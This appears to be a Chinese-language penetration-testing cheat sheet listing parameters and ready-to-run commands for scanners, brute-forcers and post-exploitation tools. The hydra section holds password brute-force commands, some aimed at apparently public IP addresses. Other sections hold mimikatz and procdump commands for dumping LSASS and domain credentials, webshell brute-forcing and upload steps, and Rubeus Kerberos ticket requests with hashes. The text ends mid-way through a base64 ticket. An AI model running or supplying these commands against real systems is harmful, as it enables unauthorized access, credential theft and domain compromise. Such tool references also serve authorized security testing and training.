渗透工具汇总
nmap
常用参数
-Pn : 跳过主机存活检测,探测端口开放情况(默认主机存活,对所有指定网段或主机进行扫描)
-sS :基于tcp三次握手的syn扫描(隐匿)
-sV : 探测打开的端口以确定服务和版本信息
-sSV : -sS -sV
-V : 打印版本号
-A : 综合扫描(所有的事情都会做一遍)
-p : 指定端口探测
-p-:所有端口
-p80,445:指定端口
-p1000-2000:指定端口的范围
-T : 扫描速度的设置,一般用T4,越高越快
-F : 快速扫描,对常用的端口进行扫描
-oN : 标准输出
-sP :ping扫描(不进行端口扫描)如果对方开启了防火墙,则-sP没用
常用命令
nmap 192.168.60.0/24 //扫描D段
nmap -sP 192.168.60.0/24 //ping扫描D段
nmap -sT -Pn 192.168.22.0/24 -p80 //跳过ping扫描D段
nmap -A 192.168.1.103 -p 0-65535 //全部信息扫描
nmap -sS 192.168.1.103 -p 1-1000 //SYN半连接扫描,相对来说稳定而且快,指定端口1-1000
nmap -Pn -sT 192.168.22.129 --script=all //跳过ping扫描
nmap -sC -sV -p 80,3306 192.168.1.103 -o 192.168.1.103.txt //特定端口详细信息扫描
nmap --interactive //nmap提权,要有nmap文件夹
nmap 192.168.22.129 -sC //漏洞探测,会对所有的脚本进行探测(-sC相当于--script=defaults)
nmap 192.168.22.129 --script=smb2-time.nse //指定脚本探测
masscan
nmap的下位替代,扫描全端口很快
masscan 192.168.111.9 -p1-65535
fscan
单独总结
Netdiscover
基于ARP的网络扫描工具,这款工具的主要用途是通过协议,判断IP地址是否被使用,从而发现网络中存活的主机
常用参数
-i device | 网络接口 |
---|---|
-r range | 扫描范围,例如192.168.0.0/24,仅支持/8, /16和/24 |
-l file | 扫描范围列表文件,每行一个范围 |
-p | 被动模式:不发生任何报文,仅嗅探 |
-m file | 扫描已知Mac地址和主机名的列表文件 |
-F filter | 自定义pcap filter表达式(默认“arp”) |
-s time | 每个ARP请求间的休眠时间(毫秒,默认1ms) |
-c count | 发送每个ARP请求的次数,用于丢失数据包的网络,默认1次 |
-n node | 扫描最后的源IP,默认为67(x.x.x.67),允许范围为2-253 |
-d | 忽略自动扫描和快速模式的主配置文件,扫描默认的范围和IP |
-f | 启用快速模式扫描,扫描每个网段的.1、.100 和 .254 |
-P | 产生输出到文件或者其他解析程序,扫描完成后退出,例如:`netdiscover -P -r 192.168.20.0/16 |
-L | 与-P类似,但在主动扫描后继续捕获ARP包 |
-N | 不打印表头,仅在-P 或者-L启用时有效 |
-S | 已弃用 |
常用命令
netdiscover -i ens38 //扫描指定接口
netdiscover -i eth0 -r 192.168.54.0/24 //扫描指定范围
netdiscover -i ens38 -r 192.168.0.0/16 -p //被动扫描,仅嗅探
netdiscover -i ens38 -f //快速扫描
arp-scan
arp-scan是Kali Linux自带的一款ARP扫描工具。该工具可以进行单一目标扫描,也可以进行批量扫描。批量扫描的时候,用户可以通过CIDR地址范围或者列表文件的方式指定。该工具允许用户定制ARP包,构建非标准数据包。同时,该工具会自动解析Mac地址,给出MAC对应的硬件厂商,帮助用户确认目标。
arp是什么?
地址解析协议,其基本功能为==透过目标设备的IP地址,查询目标设备的MAC地址==,以保证通信的顺利进行。它是IPv4中网络层必不可少的协议,是根据IP地址获得物理地址MAC的一个TCP/IP协议。通过ARP,在局域网可以很容易构成一个ARP欺骗,从而得到有用数据信息。
指令介绍
参数名 参数含义 使用示例
-f 从指定文件中读取主机名或地址 arp-scan -f ip.txt
-l 从网络接口配置生成地址 arp-scan -l
-i 各扫描之间的时间差 arp-scan -l -i 1000
-r 每个主机扫描次数 arp-scan -l -r 5
-V 显示程序版本并退出 arp-scan -l -V
-t 设置主机超时时间 arp-scan -t 1000 192.168.75.0/24
-L 使用网络接口 arp-scan -L eth0
-g 不显示重复的数据 arp-scan -l -g
-D 显示数据包往返时间 arp-scan -l -D
轻量级扫描工具,用来扫描局域网的主机还是挺好用的,由于扫描的少,所以扫描速度比较快,可以很快的查看到局域网有哪些主机和对应的MAC地址,配合nmap一起使用有奇效
dirb
dirb是一个基于字典的web目录扫描工具,会用递归的方式来获取更多的目录,它还支持代理和http认证限制访问的网站
常用参数
格式:dirb <url_base> [<wordlist_file(s)>] [options]
-a 设置user-agent
-p proxy:port设置代理
-c 设置cookie
-z 添加毫秒延迟,避免洪水攻击
-o 输出结果
-X 在每个字典的后面添加一个后缀
-H 添加请求头
-i 不区分大小写搜索
常用命令
dirb http://192.168.1.116/ /usr/share/wordlists/dirb/big.txt
dirb http://192.168.1.116/ -X .php -z 100 -o test.txt //添加.php后缀,并延迟100ms,保存输出
dirb http://192.168.1.116/ -p 46.17.45.194:5210 //使用代理
dircsearch
这是一个基于 Python 的命令行网站目录扫描器,旨在暴力破解站点结构,包括目录和文件。
dirb相对更快更轻便,但我觉得还是dirsearch更好用一点,实战优先用dirsearch
常用参数
-u URL, --url=URL URL target。
-L URLLIST, --url-list=URLLIST。
目标URL列表
-e EXTENSIONS, --extensions=EXTENSIONS。
扩展名列表用逗号隔开(例如:php,asp)
-E, --extensions-list
使用预定义的通用扩展列表
词典设置。
-w WORDLIST,--wordlist=WORDLIST。
-l, -小写
-f, --Force-extensions(强制扩展)
强制扩展每个词表条目(比如在
DirBuster)
一般设置。
-s DELAY, --delay=DELAY。
请求之间的延迟(浮点数)
-r,--递归式
-R RECURSIVE_LEVEL_MAX, --递归级别-max=RECURSIVE_LEVEL_MAX。
最大递归级别(子目录)(默认:1 [仅适用于
rootdir + 1 dir])
--压制-空,--压制-空。
--扫描-子目录=SCANSUBDIRS, --扫描-子目录=SCANSUBDIRS。
扫描给定的-u|--url的子目录(以-u|--url分隔)。
逗号)
--exclud-subdir=EXCLUDESUBDIRS, --exclud-subdirs=EXCLUDESUBDIRS。
在递归过程中排除以下子目录。
扫描
-t THREADSCOUNT, --threads=THREADSCOUNT。
线程数
-x EXCLUDESTATUSCODES,--exclud-status=EXCLUDESTATUSCODES。
排除状态代码,用逗号隔开(例如。301,
500)
--exclud-texts=EXCLUDETEXTS。
以文本排除答复,用逗号隔开。
(例如:"找不到"、"错误")
--exclud-regexps=EXCLUDEREGEXPS。
通过regexps排除响应,用逗号隔开。
(例如:"Not foun[a-z]{1}", "^Error$")
-c COOKIE, --cookie=COOKIE。
--ua=USERAGENT,--user-agent=USERAGENT。
-F, --follow-redirects.
-H HEADERS, --header=HEADERS。
要添加的头信息(例如:--header "Referer:
example.com" --header "User-Agent: IE"
--随机代理,--随机用户代理。
连接设置:
--timeout=TIMEOUT 连接超时。
--ip=IP 将名称解析为IP地址。
--proxy=HTTPPROXY, --http-proxy=HTTPPROXY。
Http代理(例如:localhost:8080)
--http-method=HTTPMETHOD
使用的方法,默认。GET,也可以是: HEAD;POST
--max-retries=MAXRRETIES
-b, --request by hostname(按主机名请求)
默认情况下,dirsearch会以IP为单位进行请求以提高速度。
这就强制按主机名请求
输出报告:
--simple-report=SIMPLEOUTPUTFILE。
只找到路径
-纯文本-报告=PLAINTEXTOUTPUTFILE。
找到状态码的路径
--json-report=JSONOUTPUTFILE。
常用命令
简单使用
dirsearch -u https://192.168.1.116/
dirsearch -e php,html,js -u https://192.168.1.116/
dirsearch -e php,html,js -u https://192.168.1.116/ -w /path/to/wordlist
dirsearch -u https://192.168.1.116/ -e *
以简单格式保存输出
dirsearch -u http://testphp.vulnweb.com/ --simple-report=report
常见文件后缀
beifen.rar
beifen.zip
beifen.7z
beifen.tar
beifen.tar.gz
beifen.bak
beifen.txt
beifen.phps (用于浏览器查看php文件内容)
beifen.swp(vim产生的临时文件,第二次是.swo,注:其文件前有个点,如文件名为index产生的临时文件为.index.swp)
~ (在文本编辑时产生的备份文件)
hydra(重中之重)
常用参数
语法:Hydra 参数 IP 服务
参数:
-l 小写,指定用户名进行破解
-L 大写,指定用户的用户名字典
-p 小写,用于指定密码破解,很少使用,一般采用密码字典。
-P 大写,用于指定密码字典。
-e ns 额外的选项,n:空密码试探,s:使用指定账户和密码试探
-C 用户名可以用:分割(username:password)可以代替-l username -p password
-M 指定目标ip列表文件,批量破解。
-o 指定结果输出文件
-f 找到第一对登录名或者密码的时候中止破解。
-t 同时运行的线程数,默认是16
-w 设置最大超时时间,单位
-v / -V 显示详细过程
-s 指定端口
-R 恢复爆破(如果破解中断了,下次执行 hydra -R /path/to/hydra.restore 就可以继续任务。)
-x 自定义密码。
service:指定服务名,支持的服务跟协议有:telnet,ftp,pop3等等。
注意:
1.自己创建字典,然后放在当前的目录下或者指定目录。
2.参数可以统一放在最后,格式比如hydra ip 服务 参数。
3.如果能确定用户名一项时候,比如web登录破解,直接用 -l就可以,然后剩余时间破解密码。
4.缺点,如果目标网站登录时候需要验证码就无法破解。
5.man hydra最万能。
6.或者hydra -U http-form等查看具体帮助。
常用命令
1、破解ssh:
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip ssh
hydra -l 用户名 -p 密码字典 -t 线程 -o save.log -vV ip ssh
hydra -L users.txt -P password.txt -vV -o ssh.log -e ns IP ssh
hydra -l root -P password.txt 192.168.1.111 ssh
hydra -M SSH.txt -o ssh--nw-output.txt -L userNameDict/极简.txt -P passwordDict/某集团下发的弱口令字典.txt -vV -f -e ns -t 50 ssh
hydra -M 4IDC.txt -l 'root -p 'qwe123!@#' -s 10022 -t 200 ssh -o result.txt -vV
hydra 192.168.111.3 ssh -l root -P test.txt -vV -f
hydra telnet -M telnet.txt -o telnet-output.txt -L 极简.txt -P keyboard_all.txt -vV -f -e ns -t 30
hydra ssh -M ssh.txt -o ssh-output.txt -L 极简.txt -P keyboard_all.txt -vV -f -e ns -t 50
hydra ftp -M ftp.txt -o ftp-output.txt -L 极简.txt -P keyboard_all.txt -vV -f -e ns -t 30
hydra pop3 -M pop.txt -o pop-output.txt -L 极简.txt -P keyboard_all.txt -vV -f -e ns -t 30
hydra -l muts -P keyboard_all.txt my.pop3.mail pop3 -vV -f -e ns -t 30
hydra -l root -P 某集团下发的弱口令字典.txt -vV ssh 81.69.177.105 -s 22333
hydra -l root -P 某集团下发的弱口令字典.txt -s 22333 -vV ssh 81.69.177.105
hydra -L userNameDict/常用用户名.txt -P passwordDict/简单密码600.txt 172.29.110.15 ssh -vV -f -e ns
hydra 172.29.101.11 ssh -l root -P -vV -f
hydra 192.168.111.3 ssh -L fuzzDicts/userNameDict/极简.txt -P password_brute/键盘组合/keyboard_top500.txt -vV -f -t 50
hydra 172.29.105.111 telnet -l root -P 某集团下发的弱口令字典.txt -vV -t 50 -e ns -o telnet-output.txt
172.29.150.200:8899
hydra -L ftp-user.txt -P ftp-pass.txt 172.29.106.11 ftp -vV -f -e ns -t 50
passwordDict/ServiceWeakPass/ftp弱口令/ftp-pass.txt passwordDict/ServiceWeakPass/ftp弱口令/ftp-user.txt
2、破解ftp:
空口令:anonymous 密码为空
hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV
hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV
hydra 172.29.107.12 ftp -l root -P top500.txt -t 20 -vV
hydra 172.29.106.11 ftp -L userNameDict/test.txt -P passwordDict/top1000.txt -t 20 -vV
3、爆破http:
( http-get or http-form-post.)
hydra -l admin -P password.txt 192.168.1.111 http-get /login.php
hydra -l admin -P password.txt 192.168.213.135 http-form-post "/dvwa/login.php:user=^USER^&pass=^PASS^:<title>invalide</title"
【注】(user,pass改为账户密码提交表单的值)
4、get方式提交,破解web登录:
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /admin/
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /admin/index.php
5、post方式提交,破解web登录:
hydra -l 用户名 -P 密码字典 -s 80 ip http-post-form "/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorry password"
hydra -t 3 -l admin -P pass.txt -o out.txt -f 10.36.16.18 http-post-form "login.php:id=^USER^&passwd=^PASS^:<title>wrong username or password</title>"
hydra -t 3 -l admin -P pass.txt -o out.txt -f 10.36.16.18 http-post-form "login.php:id=^USER^&passwd=^PASS^:wrong username or password"
(参数说明:-t同时线程数3,-l用户名是admin,字典pass.txt,保存为out.txt,-f 当破解了一个密码就停止, 10.36.16.18目标ip,http-post-form表示破解是采用http的post方式提交的表单密码破解
6、破解https:
hydra -m /index.php -l muts -P pass.txt IP https
hydra -m /index.php -l username -P pass.txt IP https
7、破解teamspeak:
hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak
8、破解cisco:
hydra -P pass.txt IP cisco
hydra -m cloud -P pass.txt IP cisco-enable
9、破解smb:
hydra -l administrator -P pass.txt 10.36.16.18 smb
10、破解pop3:
hydra -l muts -P pass.txt my.pop3.mail pop3
11、破解rdp:(3389,重要)
hydra ip rdp -l administrator -P pass.txt -V
hydra -l Administrator -P password.txt rdp://192.168.1.111 -F
hydra -l administrator -P password.txt rdp://192.168.1.111 -F
12、破解http-proxy:
hydra -l admin -P pass.txt http-proxy://IP
13、破解imap:
hydra -L user.txt -p secret 10.36.16.18 imap PLAIN
hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN
14、破解telnet:
hydra IP telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns -f -V
hydra 192.168.0.100 -o telnet-nw-output.txt -L userNameDict/极简.txt -P passwordDict/某集团下发的弱口令字典.txt -vV -f -e ns -t 50 telnet
15、爆破mysql
hydra -l root -P /root/pentest/passwd.txt mysql://192.168.0.100 -f -o /root/pentest/mysql.txt -V
hydra -L userNameDict/极简.txt -P passwordDict/简单密码600.txt mysql://1.14.108.193 -f -V
hydra -l root -P password.txt 192.168.111.8 mysql
16、爆破sql server
(前提是目标的mysql可远程访问)
hydra -l sa -P password.txt 192.168.1.111 mssql
17、爆破webdav
hydra -L 1.txt -P 1.txt 192.168.245.135 http-get /webdav
cheetah
Cheetah是一款基于字典的webshell密码爆破工具,Cheetah的工作原理是能根据自动探测出的web服务设置相关参数一次性提交大量的探测密码进行爆破,爆破效率是其他普通webshell密码暴力破解工具上千倍。
常用参数
参数说明:
- -h, –help 显示帮助信息并退出
- -i, –info 显示程序信息并退出
- -v, –verbose 启用详细输出模式(默认禁用)
- -c, –clear 去重字典文件(默认禁用)
- -up, –update 更新cheetah
- -r , –request 指定请求方式(默认POST方式)
- -t , –time 指定请求间隔时间(默认0秒)
- -w , –webshell 指定webshell类型(默认自动探测)
- -s , –server 指定web服务器名称(默认自动探测)
- -n , –number 指定一次请求参数数量(默认自动设置)
- -u , –url 指定webshell url地址
- -b , –url-file 指定批量webshell urls文件
- -p file [file …] 指定多个字典文件(默认使用data/pwd.list)
常用命令
python cheetah.py -u http://orz/orz.php
python cheetah.py -u http://orz/orz.jsp -r post -n 1000 -v
python cheetah.py -u http://orz/orz.asp -r get -c -p pwd.list
python cheetah.py -u http://orz/orz -w aspx -s apache -n 1000
python cheetah.py -b url.list -c -p pwd1.list pwd2.list -v
爆破一句话密码
1、爆破php一句话
python3 cheetah.py -u http://www.yijuhua.com/a.php -n 1000 -v -p data/pwd.list
2、爆破asp一句话
python3 cheetah.py -u http://www.yijuhua.com/a.asp -n 1000 -v -p data/pwd.list
3、爆破aspx一句话
python3 cheetah.py -u http://www.yijuhua.com/a.asp -n 1000 -v -p data/pwd.list
在成功获取到一句话密码后,即可通过蚁剑或菜刀连接即可。
john
https://cloud.tencent.com/developer/article/1937044
John the Ripper是一个快速的密码破解工具,用于在已知密文的情况下尝试破解出明文
- 可执行文件位置: /usr/sbin/john
- 密码字典所在目录:/usr/share/john/
使用
在桌面创建一个1.txt,并且将hsah值放入
然后
john
searchsploit
kali的poc新地址:https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/tree/main/bin-sploits/
是一个用于Exploit-DB的命令行搜索工具,可以帮助我们查找渗透模块。
Exploit-DB是一个漏洞库,kali中保存了一个该漏洞库的拷贝,利用上面提到的命令就可以查找需要的渗透模块,它将搜索所有的漏洞和shellcode而且该漏洞库是保存在本地的,在没有网络的情况下也可以使用
searchsploit joomla 3.7.0
查看路径:/usr/share/exploitdb/exploits/+查到的
比如这里,cat /usr/share/exploitdb/exploits/php/webapps/42033.txt
cewl
Cewl是一款采用Ruby开发的应用程序,你可以给它的爬虫指定URL地址和爬取深度,还可以添额外的外部链接,接下来Cewl会给你返回一个字典文件,你可以把字典用到类似John the Ripper这样的密码破解工具中。
常用参数
-k, –keep:保存下载文件。
-d , –depth :爬行深度,默认2。
-m, –min_world_length:最小长度,默认最小长度为3。
-o, –offsite:允许爬虫访问其他站点。
-w, –write:将输出结果写入到文件。
-u, –ua :设置user agent。
-n, –no-words:不输出字典。
–with-numbers:允许单词中存在数字,跟字母一样。
-a, –meta:包括元数据。
–meta_file file:输出元数据文件。
-e, –email:包括email地址。
–email_file :输入邮件地址文件。
–meta-temp-dir :exiftool解析文件时使用的临时目录,默认是/temp。
-c, –count:显示发现的每个单词的数量。
-v, –verbose:verbose。
–debug:提取调试信息。
常用命令
生成指定长度的密码字典,你可以使用-m选项来设置:
cewl http://www.ignitetechnologies.in/ -m 9 -w passwd.txt
从网站中获取Email,你可以使用-e选项来启用Email参数,并配合-n选项来隐藏工具在爬取网站过程中生成的密码字典:
cewl http://www.ignitetechnologies.in/ -n -e -w passwd.txt
增加爬取深度,如果你想增加爬虫的爬取深度以生成更大的字典文件,你可以使用-d选项来指定爬取深度,默认的爬取深度为2:
cewl http://www.ignitetechnologies.in/ -d 3 -w passwd.txt
生成包含数字和字符的字典
cewl http://testphp.vulnweb.com/ --with-numbers -w passwd.txt
如果目标网站需要进行页面登录认证的话,我们就要使用下列参数来绕过页面认证的限制:
cewl http://192.168.1.105/dvwa/login.php --auth_type basic --auth_user admin--auth_pass password -v -w passwd.txt
cewl http://192.168.1.105/dvwa/login.php --auth_type Digest --auth_user admin--auth_pass password -v -w passwd.txt
计算网站中单词出现的次数
cewl http://www.baidu.com/ -c
使用–proxy option选项来启用代理URL功能:
cewl --proxy_host 192.168.1.103 --proxy_port 3128 -w dict.txt http://192.168.1.103/wordpress/
wfuzz
Wfuzz是一款为了评估WEB应用而生的Fuzz(Fuzz是爆破的一种手段)工具,它基于一个简单的理念,即用给定的Payload去fuzz。
常用参数
主库的接口:fuzz
, payload
, session
--hc 过滤状态码
--sc 需要显示的状态码
-c 带颜色显示
-w 指定使用字典
-z 设置payload 【比如:字典】
-z file,1.txt(以文件形式,导入1.txt)
-z range,1-10(以范围形式,1到10)
-z list,1-2-3-10(列表形式,1,2,3,10)
-t 设置线程 默认10
-s 请求间隔时间
-d 设定POST量
-d “uname=admin&passwd=admin”
-b 设定cookie量
-b “cookie=”
-H 参数来指定HTTP请求的请求头,多次指定多次使用。
-H “User-Agent: firfox”
-f 输出到文件的格式,格式有raw,json,csv,magictree,html
-f /tmp/1,html (将结果输出到tmp目录下的1,以html格式)
-X 设定请求方法
-X GET
-R 递归深度,探测目录很好
递归深度为1也就是说当发现某一个目录存在的时候,在存在目录下再递归一次字典。
-R 1(深度为1)
显示或隐藏信息 使用 –hc –hl –hw –hh 可以隐藏相应结果
--hc 503 隐藏响应码为503的
--hl 20 隐藏响应信息行数为20行的
--hw 30 隐藏响应信息中字数为30的
--hh 50 隐藏响应信息中字符数为50的
使用 --sc --sl --sw --sh 可以特别显示相应结果
--sc 405:显示响应码405
常用命令
爆破目录
wfuzz -w wordlist URL/FUZZ
多个字典
使用-z 或-w 参数可以同时指定多个字典,这时相应的占位符应设置为 FUZZ,FUZ2Z,FUZ3Z,….,FUZnZ, 其中n代表了占位序号。想要同时爆破目录、文件名、后缀,可以这样:
wfuzz -w 目录字典路径 -w 文件名字典路径 -w 后缀名字典路径 URL/FUZZ/FUZ2Z.FUZ3Z
测试POST请求
如果想使用wfuzz测试form-encoded
的数据,POST请求正文为:username=&password=,只需要传入-d
参数即可:
wfuzz -z file,/usr/share/wfuzz/wordlist/others/common_pass.txt -d "uname=FUZZ&pass=FUZZ" --hc 302 http://testphp.vulnweb.com/userinfo.php`
wfuzz -w userList -w pwdList -d "username=FUZZ&password=FUZ2Z" http://127.0.0.1/login.php
遍历枚举测试URL中参数值 假如你发现了一个未授权漏洞,地址为:http://127.0.0.1/getuser.php?uid=123 可获取uid为123的个人信息
uid参数可以遍历,已知123为三位数纯数字,需要从000-999进行遍历,也可以使用wfuzz来完成:
wfuzz -z range,000-999 --hl 20 http://127.0.0.1/getuser.php?uid=FUZZ
mimikatz
可以提升进程权限注入进程读取进程内存,当然他最大的亮点是他可以直接从 lsass中获取当前处于Active系统的登录密码
常用参数
cls: 清屏
standard: 标准模块,基本命令
crypto: 加密相关模块
sekurlsa: 与证书相关的模块
kerberos: kerberos模块
privilege: 提权相关模块
process: 进程相关模块
serivce: 服务相关模块
lsadump: LsaDump模块
ts: 终端服务器模块
event: 事件模块
misc: 杂项模块
token: 令牌操作模块
vault: Windows 、证书模块
minesweeper:Mine Sweeper模块
net:
dpapi: DPAPI模块(通过API或RAW访问)[数据保护应用程序编程接口]
busylight: BusyLight Module
sysenv: 系统环境值模块
sid: 安全标识符模块
iis: IIS XML配置模块
rpc: mimikatz的RPC控制
sr98: 用于SR98设备和T5577目标的RF模块
rdm: RDM(830AL)器件的射频模块
acr: ACR模块
version: 查看版本
exit: 退出
常用命令
可以在cs上了beacon之后的命令行里面直接运行
[+]普通管理员权限可以执行的命令(密码查询与权限检测与日志记录)
抓取目标机器的账号和明文密码:
logonPasswords
sekurlsa::logonPasswords
获取本地用户信息及密码
wdigest
sekurlsa::wdigest
获取tspkg用户信息及密码
tspkg
sekurlsa::tspkg
提升权限
debug
privilege::debug
列出系统的核心模块及所在位置
modules
process::modules
查看ntds.dit与sam文件的信息
lsadump::lsa /inject
[+]域控权限才能执行的命令:
输出指定用户的密码信息
lsadump::dcsync /domain:test.com /user:krbtgt
列出域内所有用户的账号密码
lsadump::dcsync /domain:test.com /all /csv
procdump
#拉出lsass的内存并保存成文件
procdump.exe -accepteula -ma lsass.exe lsass.dmp
#破解内存中的密码
sekurlsa::minidump lass.dmp
sekurlsa::logonpasswords
有时候域管理员会禁用cmd等命令,这时候我们可以使用mimikatz进行恢复
privilege::debug
misc::cmd
misc::regedit
misc::taskmgr
crunch
常用参数
min 设定最小字符串长度(必选) max 设定最大字符串长度(必选)
options
-b 指定文件输出的大小,避免字典文件过大
-c 指定文件输出的行数,即包含密码的个数
-d 限制相同元素出现的次数
-e 定义停止字符,即到该字符串就停止生成
-f 调用库文件(/etc/share/crunch/charset.lst)
-i 改变输出格式,即aaa,aab -> aaa,baa
-I 通常与-t联合使用,表明该字符为实义字符
-m 通常与-p搭配
-o 将密码保存到指定文件
-p 指定元素以组合的方式进行
-q 读取密码文件,即读取pass.txt
-r 定义重某一字符串重新开始
-s 指定一个开始的字符,即从自己定义的密码xxxx开始
-t 指定密码输出的格式
-u 禁止打印百分比(必须为最后一个选项)
-z 压缩生成的字典文件,支持gzip,bzip2,lzma,7z
特殊字符
% 代表数字 ^ 代表特殊符号 @ 代表小写字母 , 代表大写字符
常用命令
生成长度为1-4的数字密码,将结果输出到password1.txt中
crunch 1 4 1234567890 -o password1.txt
crunch 1 4 % -o password1.txt
生成一个字典库 (5位的6个小写字母的随机排列组合,可以生成67 MB这么大的字典文件)
crunch 5 5 -b 20mib -o START
通过-l参数来使@,%^等特殊字符输出(-l 表明只有@是实体字符的一部分)
crunch 7 7 -t p@ss,%^ -l a@aaaaa
生成pass01-pass99所有数字组合
crunch 6 6 -t pass%% >>newpwd.txt
生成六位小写字母密码,其中前四位为pass
crunch 6 6 -t pass@@ >>newpwd.txt
制作8位数字字典
crunch 8 8 charset.lst numeric -o num8.dic
生成几个元素的组合(可以用于社工中收集的信息)
crunch 4 4 -p zhangsan 2018 0101
多种组合 生成3个元素的组合,前三位为定义的字符串(前三位是aaa或者bbb,后两位是小写字母和数字)
crunch 3 3 -t d@% -p aaa bbb
-o参数也可使用>>来简化
crunch 4 4 -d 2@ -t @@@% >> test.txt
生成5位密码,格式为小写字母+数字+符号+大写字母+数字,并以 @4#e4开始,分割为10k大小
crunch 5 5 -t @%^,% -s @4#e4 -b 10kib -o 1.txt
密码库:/usr/share/crunch/charset.lst
调用密码库 charset.lst中的 hex-upper项目字符,生成4位密码,其中格式为@ + hex-upper +% +%
crunch 4 4 -f charset.lst hex-upper -t @@%% -l @xdd
WeblogicScaner
漏洞扫描
常用参数
usage: ws.py [-h] -t TARGETS [TARGETS ...] -v VULNERABILITY
[VULNERABILITY ...] [-o OUTPUT]
optional arguments:
-h, --help 帮助信息
-t TARGETS [TARGETS ...], --targets TARGETS [TARGETS ...]
直接填入目标或文件列表(默认使用端口7001). 例子:
127.0.0.1:7001
-v VULNERABILITY [VULNERABILITY ...], --vulnerability VULNERABILITY [VULNERABILITY ...]
漏洞名称或CVE编号,例子:"weblogic administrator console"
-o OUTPUT, --output OUTPUT
输出 json 结果的路径。默认不输出结果
-s, --ssl 强制使用 https 协议请求
常用命令
python ws.py -t 192.168.124.129:7001
cadaver
连接webdav的工具
常用命令
用hydra爆破成功webdav之后,可以用cadaver上传shell
cadaver http://192.168.245.135/webdav //连接
put webshell.php //上传shell
wpscan
wpscan是一款专业针对WordPress安全扫描仪,学着用下
wpscan --url url
进行信息扫描
wpscan --url url -e u
用户名枚举
爆破密码
wpscan --url http://dc-2 -U u.txt -P aa.txt
wfuzz
https://blog.csdn.net/JBlock/article/details/88619117
Rubeus
Rubeus是由国外安全研究院harmj0y用C#编写的针对Kerberos协议进行 攻击的工具,可以发起Kerberos请求,并将请求票据导入内存中,Rebeus提供了 大量的用于Kerberos攻击的功能,比如TGT请求/ST请求/AS-REP Roasting攻击/ Kerberoasting攻击/委派攻击/黄金票据/白银票据等。
申请TGT
asktgt模块用于请求TGT,可以使用明文/密码哈希(DES加密和RC4加密),
AES Key(AES128和AES256)进行认证,可以将TGT以base64打印出来。
astgt参数说明:
请求的用户名
/user:xxx
请求凭据的格式,可以是明文密码/DES加密的Hash/NTLM Hash/AES128 AES256等
password:明文密码
/rc4:hash
请求的域名
/domain:xxxx
输出到文件
/outfile:file Name
将票据导入内存中
/ptt
将生成的票据用于指定登录会话(需要管理员权限)
/luid
打印出来的base64格式票据显示
/nowrap
票据中不请求PAC
/nopac
请求示例:
明文密码请求TGT以base64格式打印并且注入到内存中:
Rubeus.exe asktgt /user:administrator /password:Password123 /nowrap /ptt
明文密码请求TGT以base64格式打印注入到内存中并导出票据为文件tgt.kirbi:
Rubeus.exe asktgt /user:administrator /password:Password123 /nowrap /ptt /oufile:tgt.kirbi
NTLM密码Hash请求TGT以base64格式打印并且注入到内存中:
/ntlm默认是rc4
Rubeus.exe asktgt /user:lisi /ntlm:4c25ed57e37131073192a98148fbc30f /nowrap /ptt /outfile:lisi.kirbi
Rubeus.exe asktgt /user:lisi /rc4:4c25ed57e37131073192a98148fbc30f /nowrap /ptt /outfile:lisi.kirbi
申请ST
Rubeus使用asktgs模块申请ST,需要提供一张TGT可以是base64格式也可以是kirbi结尾的票据文件。
asktgs参数:
/ticket:TGT base64或者TGT票据文件
/service:请求的服务名1,请求的服务名2
/enctype:DES|RC4|AES128|AES256加密类型
/dc:域控
/outfile:导入TGS票据名
/ptt:将票据导入到内存中
/nowrap:将TGS以base64打印出来
/tgs:可以指定base64或者票据文件
例子:
这里以及BanGong-A1机器账号hash请求自身cifs服务
ntlm hash请求机器账号TGT
Rubeus.exe asktgt /user:BanGong-A1$ /rc4:960d8fcefe73e25402cbb9adb8f4c3ad /nowrap /outfile:BanGong-A1$.kirbi
请求自身cifs服务以base64格式导入TGT
base方式:
Rubeus.exe asktgs /service:cifs/BanGong-A1.test.com /nowarp /outfile:cifs.BanGong-A1$.kirbi /ticket:doIE2DCCBNSgAwIBBaEDAgEWooID9jCCA/JhggPuMIID6qADAgEFoQobCFRFU1QuQ09Noh0wG6ADAgECoRQwEhsGa3JidGd0Gwh0ZXN0LmNvbaOCA7YwggOyoAMCARKhAwIBAqKCA6QEggOgqXICa8bs8hg2Y/T2i54K7Qg/v8k7Q9IAO+vQf29RadwBpWG5oKUuInx/oqjW25hVWdQawm5o5sWnA6THSyHTxuuKJAulsc+OpHfJpIVM4370IYHrSvkuk/3pdSQzMQf0KDNpjfDykbe+Di5i2sIqzFfBCr4qSDX6Ly6h7WTMZAw16zeJ8bgO0Dq07DctSoLR03F+16ZrRdiq9SIBf1t8Pv9zmIirU7LCNXXDYtN0s4ZeTiGfW/aeyYhj4TRTaU8aoTnLb5mChumEAgLXPIrA2XUDoQov+NV0mJt0cyVrf2Vg4RVZLMtI7/QpSDsDw7EOo0YGImICc2sRYv5XTQfUdqoYGy/DW4QmEa5WC9O2ilqyndzpcRyki0+jcBN8xAhRdzHeGeCtTdHQ+Iooe1uM1Zl3BaVHgOoLgCNpb97trtIE6EteGahy4sGJsWzlULX4/9V0T0cFdFjz2nFPwR+W75voK+LXHjO4S7keTOyHeWn2CTstwC46EgqlW1+RzBgNgCRoXHLebJ0CH5jG1WYs5x4WEg1/xMBjNIZkBvuYAlBW5NlINXXJ0y7YoQ+lYzNdTHvnkj6uEwI+DIqsbePhl+rMaWbOuD4dgck0HaVtuOUaVox7yr1LwGaCMNL7UErGpT0vvdF9AvDpgj78dUjx3+rSpKNwfe2OPUTFfCNiCLRfiIzeH2ichrSz88A/4Y+AcDjc9DSRntUcDJtWp00iOmRsbh3p9Hpvmi0yDEAwM/hftenYxpJV5EoDuDcSMi0SUz/PJO9xxD3wm3hRm7C/zDWCxzsFKCDQElKpluOTv5ijkJi45bSVFR79BUiI06JTeT1pD2Pq4ynHiP2lLzkaFkLl7eD8H9JbBp0Dbkti6y651Qv5Ngs/nEzVnYJcZ7BGLFoNtrz6luZc5gnvCjIMyLS0HNcp5G6LdzHQNUa+11E2oOMslLWZHzN6EuV1dvfvxpeAfA3rdI/40aRfVi